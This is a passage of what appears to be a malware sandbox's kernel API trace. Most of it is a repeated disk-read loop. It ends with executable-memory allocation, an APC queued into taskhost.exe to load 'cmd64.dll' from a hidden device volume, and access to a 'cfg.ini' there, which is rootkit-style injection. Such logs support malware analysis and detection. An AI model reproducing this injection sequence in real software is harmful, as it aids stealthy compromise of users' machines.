out: Event=0xfffff88002f8f1f0) [0097.386] IdePortDispatch () returned 0x103 [0097.386] KeWaitForMutexObject () returned 0x0 [0097.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.386] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.386] IdePortDispatch () returned 0x103 [0097.386] KeWaitForMutexObject () returned 0x0 [0097.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.386] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.386] IdePortDispatch () returned 0x103 [0097.386] KeWaitForMutexObject () returned 0x0 [0097.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.386] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.387] IdePortDispatch () returned 0x103 [0097.387] KeWaitForMutexObject () returned 0x0 [0097.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.387] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.387] IdePortDispatch () returned 0x103 [0097.387] KeWaitForMutexObject () returned 0x0 [0097.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.387] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.387] IdePortDispatch () returned 0x103 [0097.387] KeWaitForMutexObject () returned 0x0 [0097.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.387] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.387] IdePortDispatch () returned 0x103 [0097.388] KeWaitForMutexObject () returned 0x0 [0097.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.388] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.388] IdePortDispatch () returned 0x103 [0097.390] KeWaitForMutexObject () returned 0x0 [0097.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.390] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.390] IdePortDispatch () returned 0x103 [0097.390] KeWaitForMutexObject () returned 0x0 [0097.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.390] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.390] IdePortDispatch () returned 0x103 [0097.390] KeWaitForMutexObject () returned 0x0 [0097.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.390] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.390] IdePortDispatch () returned 0x103 [0097.391] KeWaitForMutexObject () returned 0x0 [0097.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.391] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.391] IdePortDispatch () returned 0x103 [0097.391] KeWaitForMutexObject () returned 0x0 [0097.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.391] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.391] IdePortDispatch () returned 0x103 [0097.391] KeWaitForMutexObject () returned 0x0 [0097.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.391] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.391] IdePortDispatch () returned 0x103 [0097.392] KeWaitForMutexObject () returned 0x0 [0097.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.392] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.392] IdePortDispatch () returned 0x103 [0097.392] KeWaitForMutexObject () returned 0x0 [0097.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.392] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.392] IdePortDispatch () returned 0x103 [0097.392] KeWaitForMutexObject () returned 0x0 [0097.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.392] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.392] IdePortDispatch () returned 0x103 [0097.392] KeWaitForMutexObject () returned 0x0 [0097.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.393] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.393] IdePortDispatch () returned 0x103 [0097.393] KeWaitForMutexObject () returned 0x0 [0097.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.393] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.393] IdePortDispatch () returned 0x103 [0097.393] KeWaitForMutexObject () returned 0x0 [0097.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.393] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.393] IdePortDispatch () returned 0x103 [0097.393] KeWaitForMutexObject () returned 0x0 [0097.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.393] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.393] IdePortDispatch () returned 0x103 [0097.394] KeWaitForMutexObject () returned 0x0 [0097.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.394] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.394] IdePortDispatch () returned 0x103 [0097.394] KeWaitForMutexObject () returned 0x0 [0097.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.394] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.394] IdePortDispatch () returned 0x103 [0097.394] KeWaitForMutexObject () returned 0x0 [0097.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.394] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.394] IdePortDispatch () returned 0x103 [0097.394] KeWaitForMutexObject () returned 0x0 [0097.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.395] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.395] IdePortDispatch () returned 0x103 [0097.395] KeWaitForMutexObject () returned 0x0 [0097.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.395] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.395] IdePortDispatch () returned 0x103 [0097.395] KeWaitForMutexObject () returned 0x0 [0097.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.395] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.395] IdePortDispatch () returned 0x103 [0097.395] KeWaitForMutexObject () returned 0x0 [0097.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.396] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.396] IdePortDispatch () returned 0x103 [0097.396] KeWaitForMutexObject () returned 0x0 [0097.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.396] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.396] IdePortDispatch () returned 0x103 [0097.396] KeWaitForMutexObject () returned 0x0 [0097.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.396] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.396] IdePortDispatch () returned 0x103 [0097.396] KeWaitForMutexObject () returned 0x0 [0097.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.396] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.396] IdePortDispatch () returned 0x103 [0097.397] KeWaitForMutexObject () returned 0x0 [0097.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.397] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.397] IdePortDispatch () returned 0x103 [0097.397] KeWaitForMutexObject () returned 0x0 [0097.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.397] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0097.397] IdePortDispatch () returned 0x103 [0097.397] KeWaitForMutexObject () returned 0x0 [0097.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.397] KeLeaveCriticalRegion () [0097.397] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.397] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0097.398] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0097.398] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0097.398] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004fc, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x40000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0097.398] _snprintf (in: _Dest=0x40020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0097.398] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80038a4440 [0097.398] KeInitializeApc (Apc=0xfffffa80038a4440, Thread=0xfffffa80038a8630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x40128, Mode=0xfffff88000000001, Context=0x40000) [0097.398] KeInsertQueueApc (Apc=0xfffffa80038a4440, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0097.398] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0097.398] ZwClose (Handle=0x14) returned 0x0 [0097.398] ZwClose (Handle=0xffffffff80000520) returned 0x0 [0097.398] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0097.398] KeEnterCriticalRegion () [0097.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.398] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa80018ab040 [0097.398] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80038df710, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0097.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.398] KeLeaveCriticalRegion () [0097.398] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.398] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0097.398] PsGetProcessImageFileName () returned 0xfffffa80038a8e10 [0097.398] _snprintf (in: _Dest=0xfffffa80038e0378, _Count=0x103, _Format="%s (x64)" | out: _Dest="taskhost.exe (x64)") returned 18 [0097.398] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0097.398] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff80000520, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0097.398] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.398] KeEnterCriticalRegion () [0097.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.398] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0097.398] IdePortDispatch () returned 0x103 [0097.399] KeWaitForMutexObject () returned 0x0 [0097.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.399] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.399] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.399] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.399] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.399] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038d50a0 [0097.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.399] KeLeaveCriticalRegion () [0097.399] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.399] ZwAllocateVirtualMemory (in: 